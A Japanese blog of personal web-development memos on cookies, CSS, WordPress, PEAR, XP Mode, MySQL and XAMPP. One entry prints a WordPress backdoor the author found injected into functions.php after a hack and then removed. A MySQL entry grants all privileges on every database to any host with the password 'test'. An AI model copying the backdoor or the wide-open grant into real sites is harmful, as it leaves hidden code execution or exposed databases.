ボタンをクリックしたらjavascriptでcookieを保存する

このボタンを押すと cookie に「abc」と保存される
----------------------------------------------------------
<INPUT TYPE="button" NAME="button" VALUE="cookieに保存" ONCLICK="SetId('abc')">
----------------------------------------------------------

javascript の記述
----------------------------------------------------------
function SetId(strNum) {

var name = "testcookie"; // クッキーの名前
var value = strNum; // クッキーの値
var period = 7; // 有効期限日数

// 有効期限の作成(有効期限がないと、ブラウザを閉じた時点で cookieは無効)
var nowtime = new Date().getTime();
var clear_time = new Date(nowtime + (60 * 60 * 24 * 1000 * period));
var expires = clear_time.toGMTString();

// クッキーの発行(書き込み)
document.cookie = name + "=" + escape(value) + "; expires=" + expires;

window.alert(strNum + 'と保存しました'); // 警告ダイアログを表示

}
----------------------------------------------------------
参考サイト:こちら

cookieはこちらに保存される(IE11の場合)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
C:\Users\username\AppData\Roaming\Microsoft\Windows\Cookies\Low
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

cookie を開くとこんな感じ
----------------------------------------------------------
testcookie ←デリミタ
abc ←値
www.example.com/hoge/ ←cookieを発行したサイトURL
1600 ←フラグ
1888753024 ←有効期限1
30382331 ←有効期限2
1210506145 ←作成日時1
30380923 ←作成日時2
* ←デリミタ
----------------------------------------------------------

cookieの書式に関する詳細はこちら

保存したcookieを表示する場合は、こちら

【css】border-bottomがコンテンツをうまく囲ってくれない場合の対処法

border-bottomがコンテンツをうまく囲ってくれず、期待した箇所よりも上に来て、コンテンツ内容に重なって表示される場合の対処法。

次の記述を追加。

----------------------
overflow:auto
----------------------

divの間にfloat:leftなどを使っていると起きる現象である。
floatは文字通り浮いてしまうので、floatした要素しかない持たない親要素は、空っぽの状態になり高さも0pxになってしまう。

ちなみにこの現象は IE11 では起きず、Opera では起こった。

参考ページ1
参考ページ2

サイト改ざん後wordpressの表示が異常に遅い

wordpressのサイト改ざん問題が叫んで騒がれている最中、さくらから「おたくのサイトが改ざんされてる」と連絡をもらう。改ざんページの削除やwpのバージョンアップ等で対処したが、どうもサイトの表示が遅い。ひとつのページを開くのに20~30秒かかる。そのときの対処法メモ。

functions.phpこんな記述が書き込まれていた。

---------------------------------------------------------------------------
<?php function page_options() { $option = get_option('page_option'); $opt=unserialize($option);
@$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg('');}
add_action('wp_head', 'page_options'); ?>
---------------------------------------------------------------------------

functions.phpの場所(オリジナルのテーマを使用)

---------------------------------------------------------------------------
/home/ユーザー名/www/公開フォルダ/wp-content/themes/オリジナルテーマ名
---------------------------------------------------------------------------

問題の箇所を削除したら表示スピードが改善された。
オリジナルテーマだけ再インストールせずに元のファイルをコピーしたため問題が残っていたようだ。

参考サイト:
 
 

「Cookie を有効にする必要があります」とwordpressにログインできない

wordpressにログインできずエラーが出る場合の対処法メモ。

このようなエラーが出る

「エラー: お使いのブラウザは Cookie をブロックしているか、Cookie に対応していません。WordPress を使うには Cookie を有効にする必要があります。」

Cookieを有効にしているのにもかかわらずこのようなエラーが出る場合は次のことを試す

1.ブラウザのCookieを削除してから再ログインを試みる。ダメな場合は次。

2.利用中のテーマのフォルダ内にある「functions.php」ファイルを削除して、最ログインしてみる。

このファイルをいったん削除。後で戻せるように必ずコピーをとっておくこと。
----------------------------------------------
wp-content/themes/テーマ名/functions.php
----------------------------------------------

3.もし2の方法でログインできるならfunctions.phpを修正。

こんな箇所があれば
----------------------------------------------
<?php
~~~~
?>
<?php
~~~~
?>
 ← ここの改行
<?php
~~~~
?>
----------------------------------------------

↓↓↓↓↓

----------------------------------------------
<?php
~~~~
?>
<?php
~~~~
?> ← 改行をなくす
<?php
~~~~
?>
----------------------------------------------

以上。

2014年版 さくらでpearインストール(go-pear.phar使用)

さくらインターネットでpearをインストールしたときの覚書。
go-pearを使ったが、ファイルが古いのか利用中のさくらサーバーではインストールできず。(途中で止まる)。

2014年4月現在、下記の方法でpearがインストールできる。

1.ターミナルでサーバーにインストールして、go-pear.pharをダウンロード。

------------------------------------
curl http://pear.php.net/go-pear.phar > go-pear.phar
------------------------------------

このとき、ダウンロード先はここにした。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
/home/ユーザー名
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

2.次のコマンドを実行してインストール開始。
------------------------------------
php go-pear.phar
------------------------------------

インストール先を「/home/ユーザー名/pear」にしたかったので、事前に「pear」フォルダを作っておいた。「/home/ユーザー名」にある「go-pear.phar」を実行すれば、希望のフォルダにインストールされた。

インストール途中でメッセージが出た。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Would you like to alter php.ini ? [Y/n] :
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
権限がなくて変更できないので「n」を選択。

以上でインストールは完了。

参考ページ: こちら

以下はおまけの覚書。

3.DB.phpが使いたかったので、コマンドを実行してインストール。

------------------------------------
pear install DB
------------------------------------

4.使いやすくするためにDB.phpのある場所にパスを通す。

php.iniに追記した内容
------------------------------------
/home/ユーザー名/pear/share/pear
------------------------------------

また、PHPファイルでデータベースを読み込んだときエラーが出たが、単にログインパスワードを間違えていただけだった・・・

ブラウザに出力されたエラー内容
------------------------------------
Warning: mysql_set_charset(): Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) in /home/ユーザー名/libs/function.php on line 220

Warning: mysql_set_charset(): A link to the server could not be established in /home/ユーザー名/libs/function.php on line 220
ConnectError!DB Error: connect failed
------------------------------------

XPmodeにてODBC用MySQL Connecterインストール時にエラーが出た

XPmodeにてデータ ソース (ODBC)用MySQL Connecterインストール時に次のようなエラーが出た。

---------------------------------------------------------------
Error 1918.Error installing ODBC driver MySQL ODBC 5.2 ANSI Driver,
---------------------------------------------------------------

mysql_con_error

解決方法

今回のエラーは、「Microsoft Visual C++ 2010 SP1 Redistributable Package」がインストールされていないと起こる。XPmodeもデフォルトでは入っていないので下記URLから「ダウンロード」 → 「インストール」する。

ダウンロード元URL
---------------------------------------------------------------

http://www.microsoft.com/en-us/download/details.aspx?id=8328

---------------------------------------------------------------

これで解決。

参考

XPmodeでLANやNASを使えるようにする

Windows7のXPmodeは、インストール直後の状態ではLANやNASにアクセスできない。アクセスするには、XPmodeの設定をいじる必要がある。

手順1

XPmodeをシャットダウンする。
Windows7の「スタート」→「すべてのプログラム」→「Windows Virtual PC」→「Windows Virtual PC」をクリックして、「コンピュータの状態」が「電源切断」になっていることを確認する。

手順2

手順1で開いたフォルダ内にある、Windows XP Mode.vmcx を右クリックして「設定を選択」。

出てきた設定項目の「ネットワーク」がデフォルトで「共有ネットワーク (NAT)」になっているはずなので、これを変更する。変更先は、ホストPCであるWindows7のデバイスマネージャーで選択されているのと同じLANアダプター。
自分の環境だと「Realtek PCIe GBE Family Controller」にだった。

これで、LANやNASにアクセスすることができる。

参考1  参考2

【mysql】ORDER BYの順番でレコードに連番を振る方法

ORDER BYの順番でレコードに連番を振るクエリは以下の通り。

-----------------------------------------------------
SET @i := 0;
UPDATE テーブル名 SET column2 = (@i := @i +1) ORDER BY column1 ASC;
-----------------------------------------------------
ORDER BY 以下の条件で、column2フィールドのレコードに連番を振られる。

他のPCからxamppをインストールしたPCのmysqlに接続する

他のPCからODBC接続でxamppをインストールしたPCのmysqlに接続を試みた際、Mysql Connecterのテスト接続でエラーが発生した。

エラー内容
----------------------------------------------------------------
Host 'xxx.xxx.xxx.xxx' is not allowed to connect to this MySQL server
----------------------------------------------------------------

xamppの初期設定では、localhostからの接続だけが許可されているのでエラーになる。
他のPCから接続するには、接続の権限を持ったユーザー作る必要がある。

「mysql」という名前のデータベースに「user」という名前のテーブルがあるので、そこに新しいユーザーを加える。

書式
----------------------------------------------------------------
GRANT ALL PRIVILEGES ON 有効範囲(データベース名.テーブル名) TO ユーザー名@ホスト名 IDENTIFIED BY 'パスワード'
----------------------------------------------------------------
PRIVILEGES は、省略可。

実際のコマンド
----------------------------------------------------------------
GRANT ALL PRIVILEGES ON *.* TO testuser@'%' IDENTIFIED BY 'test'
----------------------------------------------------------------

GRANT構文については、こちら1こちら2

上のコマンドだと、以下の設定をしたことになる。
----------------------------
・ユーザー名:testuser
・パスワード:test
・ホスト名(@以降):ワイルドカード(%)← これでlocalhost以外からもアクセス可能になる。もし「localhost」と記述すれば、他のPCからはアクセスできない。
・all privileges は、「(GRANT権限以外の)すべての権限を与える」
・*.* は、「すべてのデータベースのすべてのテーブルに有効」という意味。
----------------------------

これでうまくいった。

他のPCからページが見れない場合は、こちら

参考ページ:こちら1こちら2

【xampp】LAN内の他のPCからページが見れない場合の対処法

新しいPCにxamppをインストールしたら、他のPCからページが見れなかった。
xamppをインストールしたlocalhostからなら問題なく閲覧できるが、LAN内の他のPCからIPアドレスを打っても、「見つかりません」的なタイムアウトで終わる。

【インストールした環境】
Windows7 64bit

1.問題の箇所がどこなのか探る

xamppのApacheの設定に問題があれば、Apacheのエラーログに何かしらの記述が残っているはず。
今回のケースでは、この段階ではエラーログなし。
xamppの設定以前に、ネットワークの問題である可能性が高い。

コントロールパネルから「Windowsファイアウォール」を開いてみると、「ホームネットワークまたは社内(プライベート)ネットワーク」が「未接続」になっている。

これを接続済みにするため、「コントロールパネル」→「ネットワークと共有センター」を開く。

「アクティブなネットワークの表示」を「パブリックネットワーク」から「ホームネットワーク」に切り替えた。(社内ネットワークでも可。パブリックネットワークだけが、セキュリティ上他のPCから閲覧できないようになっている)

再び、Windowsファイアウォールを開き、「ホームネットワークまたは社内(プライベート)ネットワーク」が「接続済み」となっていることを確認した。

また、「Windowsファイアウォール」→「Windowsファイアウォールを介したプログラムまたは機能を許可する」から「Apacheサーバー」の「プライベート」にチェックが入っていることも確認しておく。

2.XAMPPの設定を変更する

他のPCから改めてApacheサーバーにアクセス。
すると、公開フォルダは表示されるものの、XAMPPのトップページでは、ブラウザにエラーメッセージが表示された。

つまり
--------------------------------------------
○ 192.168.xxx.xxx/index.php ← 表示された
× 192.168.xxx.xxx/xampp/ ← エラーメッセージ
--------------------------------------------

エラーメッセージの内容
--------------------------------------------
アクセス禁止!

新しいXAMPPのセキュリティコンセプト:

は、要求のディレクトリへのアクセスは、ローカルネットワークから入手可能です。

この設定は、ファイル"で設定することができますのhttpd - xampp.conf " 。
--------------------------------------------

Apacheのエラーログはこれ
--------------------------------------------
[client 192.168.11.8:1253] AH01630: client denied by server configuration: C:/xampp/htdocs/xampp/
--------------------------------------------
192.168.11.8はアクセス元のIPアドレス。

エラーメッセージどおり、httpd - xampp.confを修正。
このとき、修正箇所はファイルの一番下の部分だった。

修正前
--------------------------------------------
#
# New XAMPP security concept
#

Require local
ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var

--------------------------------------------

↓↓↓

修正後
--------------------------------------------
#
# New XAMPP security concept
#

# Require local

Order deny,allow
Deny from all
Allow from 127.0.0.0/8
Allow from 192.168.11.0/24

ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var

--------------------------------------------
青字が追記箇所。

参考ページ:こちら

Apacheを再起動したら、ちゃんと見れるようになった。
(逆に、http://localhostと指定した場合に「アクセス禁止」が出るようになった)

他のPCからmysqlにつながらない場合は、こちら